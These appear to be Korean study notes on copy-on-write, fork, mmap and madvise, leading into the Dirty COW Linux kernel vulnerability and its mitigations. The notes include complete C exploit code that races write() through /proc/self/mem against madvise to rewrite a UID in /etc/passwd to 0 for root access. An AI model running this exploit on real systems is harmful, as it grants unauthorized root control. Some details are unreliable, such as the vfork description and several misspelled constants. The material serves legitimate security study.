1. Copy-On-Write(COW)란?
- COW는 필요할 때만 메모리를 복사하는 기법
- 목적 : 메모리를 효율적으로 사용 => 불필요한 복사를 줄이는 것
- 동작 원리
- 읽기만 할 때 : 부모 프로세스와 자식 프로세스가 메모리 페이지를 공유
- 쓰기 시점 : 한 프로세스가 페이지를 수정하려 하면 해당 페이지를 복사하여 독립적으로 사용한다.
- 장점 : 자식을 위해 모든 데이터를 처음부터 복사하지 않아도된다 => 메모리 절약
- page table은 가상 주소와 물리 주소를 연결하며, COW 상황에서도 가상 주소는 동일하지만 실제 물리 페이지는 필요시 복사됨
- 우리가 접근하려는 가상 주소, 실제 데이터는 DRAM에 있음.
- page table : 가상 주소 => 물리 주소로 변환시키는 것
- 가상 주소 (page), 물리 주소 (page frame)
- fork()직후에는, 부모와 자식 페이지는 "읽기 전용"으로 표시된다 => 만약 둘 중 하나가 페이지를 쓰려하면 OC가 보호 예외를 발생시켜서 COW를 수행할 수 있기 때문이다.
- 자식이 페이지를 쓰려 할 때
- 쓰기를 시도하면 읽기 전용 페이지이므로 보호 예외 발생
- OS가 이 페이지를 복사하여 새로운 물리 페이지를 생성
- 자식이 페이지 테이블에 새 페이지를 읽기/쓰기 기능으로 매핑
- 이후 자식은 이 페이지를 자유롭게 수정 가능, 부모는 원래 페이지를 사용
2. fork()와 COW
- fork()는 부모 프로세스를 복제하여 자식 프로세스를 만드는 시스템콜
- fork()가 호출되면
- PCB 생성 (PID, 주소공간, 레지스터 상태 등 포함)
- 부모와 자식은 초기에는 물리 메모리를 공유 => 실제 데이터는 복사하지 않고, COW를 통해 필요할 때만 복사한다.
- fork() 후 자식 프로세스가 새 프로그램을 실행하면 exec()를 사용한다.
3. exec()동작
- fork()는 부모 프로세스를 그대로 복제 => PCB, 가상 주소 공간, 코드, 데이터, 스택까지 거의 그대로 복제되지만 COW를 통해 실제 물리 메모리는 공유 => 자식이 곧바로 부모 데이터를 읽을 수 있지만, 쓰기 전까지는 복사되지 않음.
- 자식 프로세스가 fork() 후 곧바로 exec()를 호출해 새로운 프로그램을 실행한다면, 기존 부모 데이터 페이지를 수정하지 않기 때문에 COW 페이지를 실제로 복사할 필요가 없다.
- 하지만 PID는 그대로 유지된다.
- PCB 중 일부 정보는 유지되면, 일부는 새 프로그램에 맞게 교체된다.
- exec()를 통해 자식 프로세스는 부모의 데이터를 복사할 필요 없이 새 프로그램 실행가능
4. vfork()
- vfork()는 fork()의 변형으로 자식이 exec()를 바로 호출할 경우를 위해 설계됨.
- 특징 :
- 부모는 자식이 exec()를 호출할 때 가지 일시 정지 => 부모와 자식이 동시에 메모리를 수정하지 않도록 안정장치를 제공
- 자식이 부모 주소 공간을 COW로 공유
- 이렇게 하면 fork()보다 훨씬 메모리 효율적이다.
5. IPC
- 프로세스는 독립적인 주소 공간을 가지므로, 직접적으로 다른 프로세스의 메모리에 접근 할 수 없음
- 따라서 데이터를 공유하거나 동기화를 위해 특별한 통신 방법이 필요함.
- 1) 공유 메모리 : 여러 프로세스가 같은 메모리 영역을 공유
- 속도가 매우 빠르지만 동기화 문제가 발생할 가능성이 있다.
- 2) Message Queue : 프로세스가 운영체제를 통해 메세지를 보내고 받는 구조
- 프로세스 간 직접 공유 메모리 없이 통신 가능하지만 속도가 공유 메모리보다 느림
- 3) Semaphore (세마 포어) : 공유 자원에 대한 접근을 제어하여 동기화를 보장하는 기법
- 공유 자원에 대한 접근을 제어하여 동기화를 보장하는 방법
6. mmap()
- Dirty COW는 Linux 커널의 Copy-On-Write(COW) 매커니즘에서 발생한 경쟁 조건(Race Condition) 기반의 권한 상승 취약점이다.
- mmap()은 파일 또는 장치를 프로세스의 메모리에 매핑하기 위한 시스템 콜이다. 이 시스템 콜을 사용하면 디스크의 파일 내용을 메모리에 직접 매핑하여, 파일 입출력을 더 효율적으로 수행할 수 있다.
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
- addr : 매핑하고 싶은 시작 주소 => 일반적으로 NULL 사용(OS가 결정)
- length : 매핑할 메모리 크기
- prot : 메모리 보호 속성
- flags : 매핑방식 => MAP_SHARED(수정하면 물리 메모리에도 적힘) , MAP_PRIVATE (수정하면 새로운 사본을 만들어서 그걸 수정함)
- fd : 매핑할 파일의 file descriptor
- offset : 파일 내에서 매핑할 위치
- mmap()에서 파일 디스크립터의 역할 : 파일을 메모리에 매핑할 때 반드시 file descriptor(id)를 사용한다. => 즉 fd는 어떤 파일을 메모리에 연결할지 OS에 알려주는 역할만 수행한다.
- mmap() 자체로는 읽기/쓰기가 불가능하다 (파일 내용이 가상 메모리 주소에 매핑만 되기 떄문이다.) => 실제 읽기/쓰기 동작은 mmap이 반환한 메모리 주소에 접근함으로써 발생한다.
- mmap 사용후 반드시 munmap() 해야한다. => mmap은 가상 주소 공간을 할당하기 때문에 사용이 끝나면 반드시 해제해야한다. => 메모리 누수가 발생할 수 있음.
7. memcpy
void *memcpy (void dest[restrict .n], const void src[restrict .n], size_t n);
- 원본 src에서 dest로 n바이트를 복사한다. => 바이트 단위로 복사
8. madvise
- 특정 메모리 구간에 대해 커널에 힌트를 제공하는 함수
- MADV_CONTNEED : 이 주소 영역은 더 이상 필요하지 않다고 커널에게 알려준다.
- COW 때문에 분리되었던 페이지를 다시 공유 페이지 상태로 되돌릴 수 있다.
9. MAP_PRIVATE 특징
- 프로세스 전용 매핑 => 파일이 가상 메모리에 매핑 되지만, 해당 프로세스만 볼 수 있는 사본이 만들어 진다. => 다른 프로세스에서 같은 파일을 매핑해도 변경 내용은 서로에게 보이지 않는다
- 메모리 수정 시 동작 => 초기에는 원본 파일 내용과 동일한 메모리를 참조 => 메모리를 읽는 경우에는 단순히 읽기만 수행 , 메모리를 수정하려고 하는 경우에는 OS가 새로운 물리 메모리 블록을 할당하고, 원본 내용을 복사한 후 해당 프로세스의 페이지 테이블을 새 물리 메모리로 변경
- 1) copy가 일어나고, page table이 바뀌게 된다. => 그 다음 Write .
10. copy-on-write 취약점 조건
- 1) Read-Only 파일을 메모리에 매핑하는 상황이다.

- 실행환경에서 /zzz 파일을 만들고 root 권한으로 설정한 뒤, 다른 사용자는 읽기만 가능하도록 설정한다.
- 일반 사용자는 이 파일을 O_RDONLY 플래그로만 열 수 있다.
- 따라서 mmap()시에도 PPOT_READ만 가능하며, 매핑된 메모리는 읽기 전용이 된다.
- 2) Read-Only 메모리에서는 일반적으로 쓰기 불가 => Segmentation Fault
- 3) 그러나 MAP_PRIVATE에서는 예외 발생 => MAP_PRIVATE + Read-Only 파일 매핑시, OS가 특수한 예외를 허용한다는 것
- MAP_PRIVATE는 COW 기반이다.
- 파일이 read-only여도, 프로세스가 쓰기를 시도하면 copy한 뒤 page table을 바꿔서, 그 복사한 페이지를 쓰기 가능 페이지로 연결한다.
- 즉 read-only여도 메모리 쓰기는 가능해진다.
- 4) write() 시스템 콜을 사용해야하는 이유 : memcpy()같은 유저 공간 연산은 페이지 보호 플래그를 위반하여 즉시 오류가 발생 => write는 커널 내부에서 수행되므로 커널 경로를 우회적으로 수행할 수 있다.
10. /proc/self/mem 의 역할
- Linux의 proc 파일 시스템은 프로세스 정보를 담고 있으며, 특히 /proc/self/mem은 자신 프로세스의 전체 메모리에 접근 할 수 있는 특수 파일이다.
- /proc/self/mem을 열면 현재 프로세스의 메모리 전체를 파일처럼 접근 가능
- lseek()와 write()를 사용하여 특정 가상 주소로 이동하고 해당 주소 메모리에 직접 write()가 가능한 것이다.
- mmap() 된 read-only 페이지에 write 시스템 콜을 적용할 수 있는 유일한 합법적 우회 경로
11. Mapping Read-Only Files : the code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
char *content = "**NEW content**";
char buffer[30];
struct stat st;
void *map;
// 파일 열기
int f = open("/zzz", O_RDONLY);
if(f < 0) { perror("open"); return 1; }
// 파일 상태 확인
fstat(f, &st);
// 파일을 읽기 전용으로 매핑 (MAP_PRIVATE)
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
if(map == MAP_FAILED) { perror("mmap"); return 1; }
// /proc/self/mem 열기 (자신의 프로세스 메모리 접근)
int fm = open("/proc/self/mem", O_RDWR);
if(fm < 0) { perror("open /proc/self/mem"); return 1; }
// 잘못된 lseek 사용 수정:
// mmap 주소를 직접 쓰면 안되고, 실제 쓰고 싶은 offset만큼 이동
off_t offset = (off_t)map - (off_t)0; // mmap 시작 주소 기준 offset 계산
lseek(fm, offset, SEEK_SET);
// /proc/self/mem를 통해 메모리 쓰기
write(fm, content, strlen(content));
// mmap 내용을 복사해서 출력
memcpy(buffer, map, 29);
buffer[29] = '\0';
printf("Content after write: %s\n", buffer);
// madvise 사용
madvise(map, st.st_size, MADV_DONTNEED);
memcpy(buffer, map, 29);
buffer[29] = '\0';
printf("Content after madvise: %s\n", buffer);
close(f);
close(fm);
munmap(map, st.st_size);
return 0;
}
- write는 mmap을 통해서 한게 아니라 /proc/self/mem을 통해서 write를 진행함

- copy-on-write가 제대로 실행되고 있구나를 확인할 수 있음.
11. Dirty COW 취약점 상세 설명
- COW 필수 단계
- 공유 페이지의 실제 내용을 물리 메모리에 복사
- 페이지 테이블을 수정하여, 가상주소가 새로 복사된 페이지를 가리키게함
- 복사된 페이지에 데이터를 기록
- 취약점의 핵심
- 새페이지로 매핑 변경이 끝난후, 새페이지에 쓰기가 실행되기 바로 직전에 다른 스레드가 madvise(MADV_NONTNEED)를 호출하여 새로 만든 페이지 매핑을 제거
- 페이지 테이블이 다시 원래 물리 메모리로 돌아가고, C단계의 write()가 원래의 파일을 직접 수정하는 결과가 된다.
Thread 1: write()
└── COW 단계(A,B,C) 유발
Thread 2: madvise(MADV_DONTNEED)
└── B 이후, C 이전에 private copy 제거
→ 결과적으로 write()가 원래 read-only 파일을 수정
- 여전히 커널은 private copy가 있다고 착각하여 write를 허용하는 것이다.
12. Dirty COW 취약점 실습
- /etc/passwd를 타깃으로 한다.
- /etc/passw로 수정하여 root 권한 계정으로 바꾸기.
아래는 Dirty COW exploit의 동작 순서이다.
1. 일반 사용자로 /etc/passwd 파일을 read-only 로 열고 mmap(MAP_PRIVATE)
2. /proc/self/mem 파일을 통해 write()로 메모리 overwrite 준비
3. Thread 1
• write() 반복 실행
4. Thread 2
• madvise(MADV_DONTNEED) 반복 실행
5. race 발생 시 커널이 private copy 대신 원본 페이지를 write 처리
6. /etc/passwd 원본 파일의 UID 필드가 0으로 변경됨
7. 사용자 권한 상승 성공 (root shell 획득 가능)
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[])
{
pthread_t pth1, pth2;
struct stat st;
int file_size;
int f = open("/etc/passwd", O_RDONLY);
fstat(f, &st);
file_size = st.st_size;
map = mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
char *position = strstr((char *)map, "test:x:1008");
if (!position) {
printf("Target string not found\n");
exit(1);
}
pthread_create(&pth1, NULL, madviseThread, (void *)(long)file_size);
pthread_create(&pth2, NULL, writeThread, position);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}
void *writeThread(void *arg)
{
char *content = "test:x:0000";
off_t offset = (off_t)(long)arg;
int f = open("/proc/self/mem", O_RDWR);
while (1) {
lseek(f, offset, SEEK_SET);
write(f, content, strlen(content));
}
}
void *madviseThread(void *arg)
{
int file_size = (int)(long)arg;
while (1) {
madvise(map, file_size, MADV_DONTNEED);
}
}

12. Dirty COW 취약점 대응 전략
- 1). SELinux 또는 AppArmor 정책 강화
- SELinux와 AppArmor는 Mandatory Access Control(MAC)을 통해 프로세스가 접근할 수 있는 자원과 동작 범위를 강력하게 제한
- Dirty COW 취약점을 악용하여 공격자가 루트 권한을 획득하더라도, MAC 정책이 활성화되어 있으면 중요한 시스템 파일 접근 및 수정이 차단
- 2). Sysctl 기반 커널 설정 강화
kernel.unprivileged_userns_clone=0
- Sysctl을 통해 커널의 동작 파라미터를 조정하면 메모리와 프로세스 관련 취약 영역을 최소화할 수 있다.
- 비특권 계정이 사용자 네임스페이스를 생성하는 것을 차단하여, 공격자가 네임스페이스 격리를 악용해 메모리 접근 권한을 확보하는 경로를 봉쇄
- 3) 라이브 패칭 적용
- 커널 취약점은 패치 제공까지 시간이 소요될 수 있으며, 재부팅이 필요한 경우 즉시 적용이 어려울 수 있다.
- 라이브 패칭은 시스템을 중단하지 않고 커널 보안 패치를 실시간 적용할 수 있는 기술로, Dirty COW와 같은 고위험 취약점에 대한 신속한 대응을 가능하게 한다.
- 4) eBPF 기반 실시간 탐지
- eBPF(Extended Berkeley Packet Filter)는 커널 내부에서 동작하는 고성능 추적/감시 엔진이다.
- 민감한 메모리 영역에 대한 예기치 않은 쓰기 요청을 탐지하여 권한 상승 공격을 조기에 파악할 수 있다/
- 5) 커널 무결성 모니터링(IMA/EVM) 적용
- IMA(Integrity Measurement Architecture)와 EVM(Extended Verification Module)은 시스템의 핵심 파일과 커널 구조의 무결성을 보호하는 기능을 제공한다.
- 파일 변경 시 즉시 탐지하기 때문에 , 즉각적으로 탐지가 가능해진다.